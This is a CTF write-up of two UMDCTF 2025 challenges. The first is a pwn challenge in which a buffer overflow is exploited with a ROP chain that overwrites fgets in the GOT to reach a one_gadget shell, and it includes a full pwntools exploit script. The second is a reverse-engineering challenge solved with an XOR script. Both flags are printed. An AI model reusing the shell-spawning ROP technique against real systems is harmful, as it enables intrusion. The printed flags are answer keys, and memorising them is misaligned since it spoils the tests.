UMDCTF{are_you_sice_man_because_you_were_BORN_TO_ALLOC_WORLD_IS_A_HEAP_Free_Em_All_1972_or_are_you_BORN_TO_ALLOC_WORLD_IS_A_HEAP_Free_Em_All_1972_because_you_are_sice_man}
Binary checksec
alter ^ Sol in /mnt/e/sec/CTFs/2025/UMD/prison-realm
$ checksec prison_patched
[*] '/mnt/e/sec/CTFs/2025/UMD/prison-realm/prison_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No

So we see that this is 64-bit binary with Partial RELRO and NX enabled. Let’s decompile it with IDA and analyze its functionality.

IDA decompile - main function
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
fgets(s, 300, stdin);
return 0;
}
IDA decompile - prison_realm_open function
unsigned int prison_realm_open()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
signal(14, (__sighandler_t)gate_close);
return alarm(0x3Cu);
}

Wow, pretty simple. The main function just reads our input up to 300 bytes so we have buffer overflow here. But there is no win function or something else, so we need to find another way to drop the shell. My first idea for this challenge is overwrite alarm@GOT to execv and then setup the rdi for it since we have pop rdi gadget. But the problem is that fgets includes newlines, which we need to handle properly to avoid issues with our payload, and this hard to handle it so I change my mind. I’m looking for some useful gadgets in the binary and I found 2 these gadgets:

0x00000000004005cf : add bl, dh ; ret
0x0000000000400668 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret

With controlled rbp via buffer overflow, we can easily use 2 these gadget to change the value of anything we want I’ll call it write what where. And my target right now is fgets function. Let’s take a look to know why I choose this function.

Inside fgets function
pwndbg> x/40i 0x7ffff7e1144c
=> 0x7ffff7e1144c <_IO_fgets+204>: pop rbx
0x7ffff7e1144d <_IO_fgets+205>: mov rax,r14
0x7ffff7e11450 <_IO_fgets+208>: pop rbp
0x7ffff7e11451 <_IO_fgets+209>: pop r12
0x7ffff7e11453 <_IO_fgets+211>: pop r13
0x7ffff7e11455 <_IO_fgets+213>: pop r14
0x7ffff7e11457 <_IO_fgets+215>: ret
0x7ffff7e11458 <_IO_fgets+216>: nop DWORD PTR [rax+rax*1+0x0]
0x7ffff7e11460 <_IO_fgets+224>: test dl,0x20
0x7ffff7e11463 <_IO_fgets+227>: je 0x7ffff7e11472 <_IO_fgets+242>
0x7ffff7e11465 <_IO_fgets+229>: mov rcx,QWORD PTR [rip+0x19a9a4] # 0x7ffff7fabe10
0x7ffff7e1146c <_IO_fgets+236>: cmp DWORD PTR fs:[rcx],0xb
0x7ffff7e11470 <_IO_fgets+240>: jne 0x7ffff7e1141b <_IO_fgets+155>
0x7ffff7e11472 <_IO_fgets+242>: mov BYTE PTR [r12+rax*1],0x0
0x7ffff7e11477 <_IO_fgets+247>: mov edx,DWORD PTR [rbp+0x0]
0x7ffff7e1147a <_IO_fgets+250>: mov r14,r12
0x7ffff7e1147d <_IO_fgets+253>: or r13d,edx
0x7ffff7e11480 <_IO_fgets+256>: mov DWORD PTR [rbp+0x0],r13d
0x7ffff7e11484 <_IO_fgets+260>: and r13d,0x8000
0x7ffff7e1148b <_IO_fgets+267>: jne 0x7ffff7e1144c <_IO_fgets+204>
0x7ffff7e1148d <_IO_fgets+269>: jmp 0x7ffff7e1142b <_IO_fgets+171>
0x7ffff7e1148f <_IO_fgets+271>: nop
0x7ffff7e11490 <_IO_fgets+272>: xor r14d,r14d
0x7ffff7e11493 <_IO_fgets+275>: pop rbx
0x7ffff7e11494 <_IO_fgets+276>: pop rbp
0x7ffff7e11495 <_IO_fgets+277>: mov rax,r14
0x7ffff7e11498 <_IO_fgets+280>: pop r12
0x7ffff7e1149a <_IO_fgets+282>: pop r13
0x7ffff7e1149c <_IO_fgets+284>: pop r14
0x7ffff7e1149e <_IO_fgets+286>: ret
0x7ffff7e1149f <_IO_fgets+287>: nop
0x7ffff7e114a0 <_IO_fgets+288>: mov BYTE PTR [rdi],0x0
0x7ffff7e114a3 <_IO_fgets+291>: mov r14,rdi
0x7ffff7e114a6 <_IO_fgets+294>: jmp 0x7ffff7e1144c <_IO_fgets+204>
0x7ffff7e114a8 <_IO_fgets+296>: nop DWORD PTR [rax+rax*1+0x0]
0x7ffff7e114b0 <_IO_fgets+304>: call 0x7ffff7e23300 <__GI___lll_lock_wake_private>
0x7ffff7e114b5 <_IO_fgets+309>: jmp 0x7ffff7e1144c <_IO_fgets+204>
0x7ffff7e114b7 <_IO_fgets+311>: nop WORD PTR [rax+rax*1+0x0]
0x7ffff7e114c0 <_IO_fgets+320>: call 0x7ffff7e23230 <__GI___lll_lock_wait_private>
0x7ffff7e114c5 <_IO_fgets+325>: jmp 0x7ffff7e113d5 <_IO_fgets+85>

We see that in fgets, after executing a series of instructions to read our input and it will return, and when returning there will be pop instructions here. The question here is how can we use them without having to read again? Well the answer will be _IO_fgets+288, in this section there will be a jump back to a few pop sequences, so we just need to use write what where to change fgets to run there. And now when we execute fgets, we will execute pops. And with these pops we can control rbp from there we execute write what where one more time to change the address in fgets to one gadget

exploit.py
36 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./prison_patched', checksec=False)
libc = exe.libc
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw, aslr=False)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(1)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
b *0x40070e
b *0x400719
b *fgets+208
c
'''
p = start()
# ==================== EXPLOIT ====================
def exploit():
offset = 40
pop_rbp = 0x400608
pop_rdi = 0x400782
www = 0x400668 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
add_bl_dh = 0x4005cf # add bl, dh ; ret
got_fgets = 0x601020
plt_fgets = 0x400560
one_gadget = 0x6c842 # 0xebce2
payload = flat({
offset: [
pop_rbp,
got_fgets + 0x3d,
add_bl_dh,
add_bl_dh,
add_bl_dh,
www,
www,
www,
pop_rdi,
0x601000,
plt_fgets,
one_gadget,
got_fgets + 0x3d,
0, 0, 0,
www,
plt_fgets,
]
}, filler=b'A')
sl(payload)
interactive()
if __name__ == '__main__':
exploit()

rev/deobfuscation

Author
unsure
Category
rev
Points
111
Solves
390
Description
the chall is not that complex. the key is to read ASSEMBLY!
Flag
UMDCTF{r3v3R$E-i$_Th3_#B3ST#_4nT!-M@lW@r3_t3chN!Qu3}
IDA decompile
void __noreturn start()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
__int64 i; // rcx
char n10; // al
__int64 j; // rcx
signed __int64 v5; // rax
signed __int64 v6; // rax
signed __int64 v7; // rax
v0 = sys_write(
1u,
buf, // "Enter the password: "
0x15uLL);
v1 = sys_read(0, buf_0, 0x80uLL);
for ( i = 0LL; ; ++i )
{
n10 = buf_0[i];
if ( n10 == '\n' )
break;
*(_BYTE *)(i + 4202780) = byte_402034[i] ^ n10;
}
if ( i == 52 )
{
for ( j = 0LL; j < 52; ++j )
{
if ( byte_402000[j] != *(_BYTE *)(j + 4202780) )
goto LABEL_9;
}
buf_0[j] = 0;
v5 = sys_write(
1u,
aCorrect, // "Correct! "
9uLL);
}
else
{
LABEL_9:
v6 = sys_write(
1u,
aWrongPassword, // "Wrong password. "
0x12uLL);
}
v7 = sys_exit(0);
}

To make it easier to understand, the program will loop twice. The first loop will XOR our input with byte_402034 and store it in 0x40211C. The second loop will iterate through the characters to check if the XOR is equal to byte_402000. In short, it will look like this:

byte_402000[i] = byte_402034[i] ^ n10

So we want to find n10 we just need to XOR the other two together

solve.py
#!/usr/bin/env python3
byte_402034 = [
0x75, 0x6F, 0x64, 0x65, 0x61, 0x71, 0x6F, 0x75,
0x75, 0x76, 0x69, 0x45, 0x60, 0x70, 0x7F, 0x65,
0x54, 0x77, 0x63, 0x74, 0x68, 0x42, 0x53, 0x54,
0x45, 0x03, 0x3D, 0x7F, 0x31, 0x58, 0x75, 0x46,
0x75, 0x44, 0x60, 0x78, 0x6A, 0x74, 0x51, 0x4F,
0x1C, 0x5F, 0x76, 0x79, 0x0B, 0x2D, 0x75, 0x45,
0x4B, 0x55, 0x66, 0x78,
]
byte_402000 = [
0x20, 0x22, 0x20, 0x26, 0x35, 0x37, 0x14, 0x07,
0x46, 0x00, 0x5A, 0x17, 0x44, 0x35, 0x52, 0x0C,
0x70, 0x28, 0x37, 0x1C, 0x5B, 0x1D, 0x70, 0x16,
0x76, 0x50, 0x69, 0x5C, 0x6E, 0x6C, 0x1B, 0x12,
0x54, 0x69, 0x2D, 0x38, 0x06, 0x23, 0x11, 0x3D,
0x2F, 0x00, 0x02, 0x4A, 0x68, 0x45, 0x3B, 0x64,
0x1A, 0x20, 0x55, 0x05,
]
flag = ''.join(
chr(byte_402034[i] ^ byte_402000[i])
for i in range (52)
)
print(flag)